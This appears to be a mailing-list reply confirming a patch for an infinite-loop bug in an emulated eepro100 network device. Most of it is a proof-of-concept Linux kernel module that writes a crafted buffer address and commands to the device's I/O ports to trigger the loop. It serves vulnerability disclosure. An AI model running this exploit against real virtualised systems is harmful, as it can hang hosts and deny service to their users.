I think the patch can solve this vulnerability.
I confirm that the loop exist , the poc code can prove that.
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/io.h>
#define PAGE_OFFSET 0x0C000000
MODULE_LICENSE("GPL");
static int hello_init(void)
{
void* pvirt;
void* pphy;
unsigned long* pdbal;
unsigned long* tdt;
unsigned short status;
pvirt =kmalloc(0x100,GFP_KERNEL);
memset(pvirt,0,0x100);//control the filed of eepro100_tx_t struct
pphy=virt_to_phys(pvirt);//get physical address
printk(KERN_ALERT "%08x\n",pvirt);
printk(KERN_ALERT "%08x\n",pphy);
outl(pphy,0xc004);//write the address
outw(0x0060,0xc002);
outl(0,0xc004);//write the offset
outw(0x0010,0xc002); //enter action_command function
return 0;
}
static void hello_exit(void)
{
printk(KERN_ALERT "goodbye,kernel\n");
}
module_init(hello_init);
module_exit(hello_exit);
MODULE_AUTHOR("qinghao tang");
MODULE_DESCRIPTION("poc for
eepro100 infinite loop vulnerability\n");